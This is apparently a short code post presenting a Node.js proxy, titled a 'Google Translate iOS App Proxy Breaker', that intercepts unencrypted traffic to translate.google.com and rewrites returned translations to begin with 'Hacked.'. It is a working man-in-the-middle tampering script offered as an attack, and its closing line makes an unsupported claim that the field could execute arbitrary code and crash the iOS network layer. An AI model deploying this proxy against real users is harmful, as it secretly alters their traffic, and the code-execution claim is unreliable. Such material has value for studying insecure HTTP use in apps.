Google Translate iOS App Proxy Breaker

server.js

var http = require('http');
var sys = require('util');
http.createServer(function (request, response) {
    data = "";
    useSecl = false;
    url = request.url;
    transURI = "http://translate.google.com";
    if (url.indexOf(transURI) > -1) {
        e = url.replace(transURI, "");
        http.get({
            host: transURI.replace("http://", ""),
            path: e,
            port: 80,
            method: 'GET'
        }, function (res) {
            var pageData = "";
            res.setEncoding('utf8');
            res.on('data', function (chunk) {
                pageData += chunk;
            });
            res.on('end', function () {
                data = JSON.parse(pageData);
                data.sentences[0].trans = "Hacked. Your translation is also '" + data.sentences[0].trans + "'";
                data = JSON.stringify(data);
                sys.log("Breaking...");
            });
        });
        useSecl = true;
    } else {
        useSecl = false;
    }
    var proxy = http.createClient(80, request.headers['host'])
    var proxy_request = proxy.request(request.method, request.url, request.headers);
    proxy_request.addListener('response', function (proxy_response) {
        proxy_response.addListener('data', function (chunk) {
            if (useSecl) {
                response.write(data, 'UTF-8');
            } else {
                response.write(chunk, 'binary');
            }
        });
        proxy_response.addListener('end', function () {
            response.end();
        });
        response.writeHead(proxy_response.statusCode, proxy_response.headers);
    });
    request.addListener('data', function (chunk) {
        proxy_request.write(chunk, 'binary');
    });
    request.addListener('end', function () {
        proxy_request.end();
    });
}).listen(8880);

Technically, you could make the 'trans' part of the JSON execute arbitrary code, and overflow the app, in turn, possibly crashing the iOS NetworkLayer